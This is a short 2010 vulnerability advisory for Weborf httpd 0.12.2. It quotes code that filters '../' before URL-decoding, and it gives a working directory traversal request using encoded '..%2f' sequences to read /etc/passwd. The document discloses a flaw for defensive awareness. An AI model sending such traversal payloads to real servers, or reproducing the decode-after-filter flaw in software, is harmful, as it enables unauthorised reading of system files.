weborf 0.12.2 – Directory Traversal
Title: Weborf httpd <= 0.12.2 Directory Traversal Vulnerability Date: Sep 6, 2010 Author: Rew Link: http://galileo.dmi.unict.it/wiki/weborf/doku.php Version: 0.12.2 Tested On: Debian 5 CVE: N/A ============================================================= Weborf httpd <= 0.12.2 suffers a directory traversal vulnerability. This vulnerability could allow attackers to read arbitrary files and hak th3 plan3t. instance.c : line 240-244 ------------------------------ void modURL(char* url) { //Prevents the use of .. to access the whole filesystem <-- ORLY? strReplace(url,"../",'\0'); replaceEscape(url); ------------------------------ Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd ============================================================== Stay safe, Over and Out |